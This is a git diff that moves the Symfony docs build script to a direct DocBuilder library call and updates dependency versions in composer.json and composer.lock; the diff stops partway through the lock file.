diff --git a/_build/build.php b/_build/build.php
index 9dba64d5145..a72220ab003 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -5,39 +5,52 @@
 use Symfony\Component\Console\Application;
 use Symfony\Component\Console\Input\InputInterface;
 use Symfony\Component\Console\Output\OutputInterface;
-use Symfony\Component\Process\Process;
-use Symfony\Component\Process\Exception\ProcessFailedException;
 use Symfony\Component\Console\Input\InputOption;
+use Symfony\Component\Console\Style\SymfonyStyle;
+use SymfonyDocsBuilder\BuildConfig;
+use SymfonyDocsBuilder\DocBuilder;
 
 (new Application('Symfony Docs Builder', '1.0'))
     ->register('build-docs')
     ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
     ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
     ->setCode(function(InputInterface $input, OutputInterface $output) {
-        $command = [
-            'php',
-            'vendor/symfony/docs-builder/bin/console',
-            'build:docs',
-            sprintf('--save-errors=%s', __DIR__.'/logs.txt'),
-            __DIR__.'/../',
-            __DIR__.'/output/',
-        ];
-
-        if ($input->getOption('generate-fjson-files')) {
-            $command[] = '--output-json';
+        $io = new SymfonyStyle($input, $output);
+        $io->text('Building all Symfony Docs...');
+
+        $outputDir = __DIR__.'/output';
+        $buildConfig = (new BuildConfig())
+            ->setSymfonyVersion('4.4')
+            ->setContentDir(__DIR__.'/..')
+            ->setOutputDir($outputDir)
+            ->setImagesDir(__DIR__.'/output/_images')
+            ->setImagesPublicPrefix('_images')
+            ->setTheme('sfdocs')
+        ;
+
+        $buildConfig->setExcludedPaths(['.github/', '_build/']);
+
+        if (!$generateJsonFiles = $input->getOption('generate-fjson-files')) {
+            $buildConfig->disableJsonFileGeneration();
         }
 
-        if ($input->getOption('disable-cache')) {
-            $command[] = '--disable-cache';
+        if ($isCacheDisabled = $input->getOption('disable-cache')) {
+            $buildConfig->disableBuildCache();
         }
 
-        $process = new Process($command);
-        $process->setTimeout(3600);
+        $io->comment(sprintf('cache: %s / output file type(s): %s', $isCacheDisabled ? 'disabled' : 'enabled', $generateJsonFiles ? 'HTML and JSON' : 'HTML'));
+        if (!$isCacheDisabled) {
+            $io->comment('Tip: add the --disable-cache option to this command to force the re-build of all docs.');
+        }
 
-        $this->getHelper('process')->run($output, $process);
+        $result = (new DocBuilder())->build($buildConfig);
 
-        if (!$process->isSuccessful()) {
-            throw new ProcessFailedException($process);
+        if ($result->isSuccessful()) {
+            $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));
+        } else {
+            $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));
+            $io->newLine();
+            $io->comment('Tip: you can add the -v, -vv or -vvv flags to this command to get debug information.');
         }
     })
     ->getApplication()
diff --git a/_build/composer.json b/_build/composer.json
index 8bfbd030cbe..fd7ec177c15 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -12,8 +12,8 @@
     },
     "require": {
         "php": ">=7.4",
-        "symfony/console": "^5.2",
-        "symfony/process": "^5.2",
-        "symfony-tools/docs-builder": "^0.15.0"
+        "symfony/console": "^5.4",
+        "symfony/process": "^5.4",
+        "symfony-tools/docs-builder": "^0.18"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index a4662694f27..4f77182d8c4 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "49b2e2e5deccf075db5011162e2dae0a",
+    "content-hash": "4cd8dc9a70f9ccfb279a426fffbcf2bc",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -102,24 +102,26 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.4.x-dev",
+            "version": "0.4.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910"
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/b4db3420f62f44c2c12420b30dcf73f4c4700910",
-                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/73992ea579f6bfcb0697e4df29499c48b7542203",
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
-                "php": "^7.1 || ^8.0",
+                "php": "^7.2 || ^8.0",
                 "symfony/filesystem": "^4.1 || ^5.0",
                 "symfony/finder": "^4.1 || ^5.0",
                 "symfony/polyfill-mbstring": "^1.0",
+                "symfony/string": "^5.3",
+                "symfony/translation-contracts": "^1.1 || ^2.0",
                 "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
@@ -133,7 +135,6 @@
                 "symfony/css-selector": "4.4 || ^5.2",
                 "symfony/dom-crawler": "4.4 || ^5.2"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -168,9 +169,9 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.4.x"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.4.4"
             },
-            "time": "2021-04-15T17:43:16+00:00"
+            "time": "2021-10-21T18:44:45+00:00"
         },
         {
             "name": "psr/container",
@@ -222,16 +223,16 @@
         },
         {
             "name": "psr/log",
-            "version": "1.1.3",
+            "version": "1.1.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc"
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11",
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11",
                 "shasum": ""
             },
             "require": {
@@ -255,7 +256,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common interface for logging libraries",
@@ -266,27 +267,26 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/1.1.3"
+                "source": "https://github.com/php-fig/log/tree/1.1.4"
             },
-            "time": "2020-03-23T09:12:05+00:00"
+            "time": "2021-05-03T11:20:27+00:00"
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.6",
+            "version": "v9.18.1.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466"
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/44a3d4136edb5ad8551590bf90f437db80b2d466",
-                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6d5049cd2578e19a06adbb6ac77879089be1e3f9",
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9",
                 "shasum": ""
             },
             "require": {
                 "ext-json": "*",
-                "ext-mbstring": "*",
                 "php": ">=5.4"
             },
             "require-dev": {
@@ -295,6 +295,9 @@
                 "symfony/finder": "^2.8|^3.4",
                 "symfony/var-dumper": "^2.8|^3.4"
             },
+            "suggest": {
+                "ext-mbstring": "Allows highlighting code with unicode characters and supports language with unicode keywords"
+            },
             "type": "library",
             "autoload": {
                 "psr-0": {
@@ -344,29 +347,80 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-12-22T19:20:29+00:00"
+            "time": "2021-10-24T00:28:14+00:00"
+        },
+        {
+            "name": "symfony-tools/docs-builder",
+            "version": "v0.18.2",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony-tools/docs-builder.git",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/53632711147e08782e2be782d5cbe68109c497be",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be",
+                "shasum": ""
+            },
+            "require": {
+                "doctrine/rst-parser": "^0.4",
+                "ext-curl": "*",
+                "ext-json": "*",
+                "php": "^7.2 || ^8.0",
+                "scrivo/highlight.php": "^9.12.0",
+                "symfony/console": "^5.2",
+                "symfony/css-selector": "^5.2",
+                "symfony/dom-crawler": "^5.2",
+                "symfony/filesystem": "^5.2",
+                "symfony/finder": "^5.2",
+                "symfony/http-client": "^5.2",
+                "twig/twig": "^2.14 || ^3.3"
+            },
+            "require-dev": {
+                "gajus/dindent": "^2.0",
+                "symfony/phpunit-bridge": "^5.2",
+                "symfony/process": "^5.2"
+            },
+            "type": "project",
+            "autoload": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\": "src"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "description": "The build system for Symfony's documentation",
+            "support": {
+                "issues": "https://github.com/symfony-tools/docs-builder/issues",
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.2"
+            },
+            "time": "2021-10-15T07:59:06+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v5.2.6",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d"
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/35f039df40a3b335ebf310f244cb242b3a83ac8d",
-                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d",
+                "url": "https://api.github.com/repos/symfony/console/zipball/4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php73": "^1.8",
-                "symfony/polyfill-php80": "^1.15",
+                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.1|^2",
-                "symfony/string": "^5.1"
+                "symfony/string": "^5.1|^6.0"
             },
             "conflict": {
                 "symfony/dependency-injection": "<4.4",
@@ -376,16 +430,16 @@
                 "symfony/process": "<4.4"
             },
             "provide": {
-                "psr/log-implementation": "1.0"
+                "psr/log-implementation": "1.0|2.0"
             },
             "require-dev": {
-                "psr/log": "~1.0",
-                "symfony/config": "^4.4|^5.0",
-                "symfony/dependency-injection": "^4.4|^5.0",
-                "symfony/event-dispatcher": "^4.4|^5.0",
-                "symfony/lock": "^4.4|^5.0",
-                "symfony/process": "^4.4|^5.0",
-                "symfony/var-dumper": "^4.4|^5.0"
+                "psr/log": "^1|^2",
+                "symfony/config": "^4.4|^5.0|^6.0",
+                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
+                "symfony/event-dispatcher": "^4.4|^5.0|^6.0",
+                "symfony/lock": "^4.4|^5.0|^6.0",
+                "symfony/process": "^4.4|^5.0|^6.0",
+                "symfony/var-dumper": "^4.4|^5.0|^6.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -425,7 +479,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v5.2.6"
+                "source": "https://github.com/symfony/console/tree/5.4"
             },
             "funding": [
                 {
@@ -441,24 +495,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-28T09:42:18+00:00"
+            "time": "2021-11-03T09:24:47+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v5.2.4",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f"
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f65f217b3314504a1ec99c2d6ef69016bb13490f",
-                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/7fb120adc7f600a59027775b224c13a33530dd90",
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -490,7 +545,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v5.2.4"
+                "source": "https://github.com/symfony/css-selector/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -506,70 +561,95 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T10:01:46+00:00"
+            "time": "2021-07-21T12:38:00+00:00"
         },
         {
-            "name": "symfony/docs-builder",
-            "version": "v0.15.0",
+            "name": "symfony/deprecation-contracts",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "b9f5e8d9b0608e5dc55979e32bc0f36983adcbd8"
+                "url": "https://github.com/symfony/deprecation-contracts.git",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627"
             },
-            "require": {
-                "doctrine/rst-parser": "0.4.x-dev",
-                "ext-curl": "*",
-                "ext-json": "*",
-                "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^5.2",
-                "symfony/css-selector": "^5.2",
-                "symfony/dom-crawler": "^5.2",
-                "symfony/filesystem": "^5.2",
-                "symfony/finder": "^5.2",
-                "symfony/http-client": "^5.2",
-                "twig/twig": "^2.14 || ^3.3"
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "shasum": ""
             },
-            "require-dev": {
-                "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^5.2",
-                "symfony/process": "^5.2"
+            "require": {
+                "php": ">=7.1"
             },
-            "type": "project",
-            "autoload": {
-                "psr-4": {
-                    "SymfonyDocsBuilder\\": "src"
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "2.4-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
                 }
             },
-            "autoload-dev": {
-                "psr-4": {
-                    "SymfonyDocsBuilder\\Tests\\": "tests"
-                }
+            "autoload": {
+                "files": [
+                    "function.php"
+                ]
             },
+            "notification-url": "https://packagist.org/downloads/",
             "license": [
                 "MIT"
             ],
-            "description": "The build system for Symfony's documentation",
-            "time": "2021-04-15T00:39:27+00:00"
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "A generic function and convention to trigger deprecation notices",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.4.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v5.2.4",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "400e265163f65aceee7e904ef532e15228de674b"
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/400e265163f65aceee7e904ef532e15228de674b",
-                "reference": "400e265163f65aceee7e904ef532e15228de674b",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php80": "^1.15"
+                "symfony/polyfill-php80": "^1.16"
             },
             "conflict": {
                 "masterminds/html5": "<2.6"
@@ -607,7 +687,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v5.2.4"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -623,25 +703,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-15T18:55:04+00:00"
+            "time": "2021-08-29T19:32:13+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v5.2.6",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "8c86a82f51658188119e62cff0a050a12d09836f"
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/8c86a82f51658188119e62cff0a050a12d09836f",
-                "reference": "8c86a82f51658188119e62cff0a050a12d09836f",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/343f4fe324383ca46792cae728a3b6e2f708fb32",
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/polyfill-ctype": "~1.8"
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -669,7 +750,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v5.2.6"
+                "source": "https://github.com/symfony/filesystem/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -685,24 +766,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-28T14:30:26+00:00"
+            "time": "2021-07-21T12:40:44+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v5.2.4",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "0d639a0943822626290d169965804f79400e6a04"
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/0d639a0943822626290d169965804f79400e6a04",
-                "reference": "0d639a0943822626290d169965804f79400e6a04",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -730,7 +812,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v5.2.4"
+                "source": "https://github.com/symfony/finder/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -746,35 +828,36 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-15T18:55:04+00:00"
+            "time": "2021-08-04T21:20:46+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v5.2.6",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8"
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/3c3075467da15bc2edf38d2ac20d34719e794bd8",
-                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "psr/log": "^1.0",
-                "symfony/http-client-contracts": "^2.2",
+                "psr/log": "^1|^2|^3",
+                "symfony/deprecation-contracts": "^2.1",
+                "symfony/http-client-contracts": "^2.4",
                 "symfony/polyfill-php73": "^1.11",
-                "symfony/polyfill-php80": "^1.15",
+                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.0|^2"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "2.2"
+                "symfony/http-client-implementation": "2.4"
             },
             "require-dev": {
                 "amphp/amp": "^2.5",
@@ -816,7 +899,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v5.2.6"
+                "source": "https://github.com/symfony/http-client/tree/v5.3.10"
             },
             "funding": [
                 {
@@ -832,7 +915,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-28T09:42:18+00:00"
+            "time": "2021-10-19T08:32:53+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
@@ -914,16 +997,16 @@
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.22.1",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e"
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/c6c942b1ac76c82448322025e084cadc56048b4e",
-                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/46cd95797e9df938fdd2b03693b5fca5e64b01ce",
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce",
                 "shasum": ""
             },
             "require": {
@@ -935,7 +1018,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -973,7 +1056,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -989,20 +1072,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-07T16:49:33+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
-            "version": "v1.22.1",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170"
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/5601e09b69f26c1828b13b6bb87cb07cddba3170",
-                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/16880ba9c5ebe3642d1995ab866db29270b36535",
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535",
                 "shasum": ""
             },
             "require": {
@@ -1014,7 +1097,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1054,7 +1137,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1070,20 +1153,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-22T09:19:47+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.22.1",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248"
+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/43a0283138253ed1d48d352ab6d0bdb3f809f248",
-                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8590a5f561694770bdcd3f9b5c69dde6945028e8",
+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8",
                 "shasum": ""
             },
             "require": {
@@ -1095,7 +1178,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1138,7 +1221,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1154,20 +1237,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-22T09:19:47+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.22.1",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1"
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/5232de97ee3b75b0360528dae24e73db49566ab1",
-                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9174a3d80210dca8daa7f31fec659150bbeabfc6",
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6",
                 "shasum": ""
             },
             "require": {
@@ -1179,7 +1262,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1218,7 +1301,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1234,20 +1317,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-22T09:19:47+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "v1.22.1",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2"
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
-                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/fba8933c384d6476ab14fb7b8526e5287ca7e010",
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010",
                 "shasum": ""
             },
             "require": {
@@ -1256,7 +1339,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1297,7 +1380,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1313,20 +1396,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-07T16:49:33+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "v1.22.1",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91"
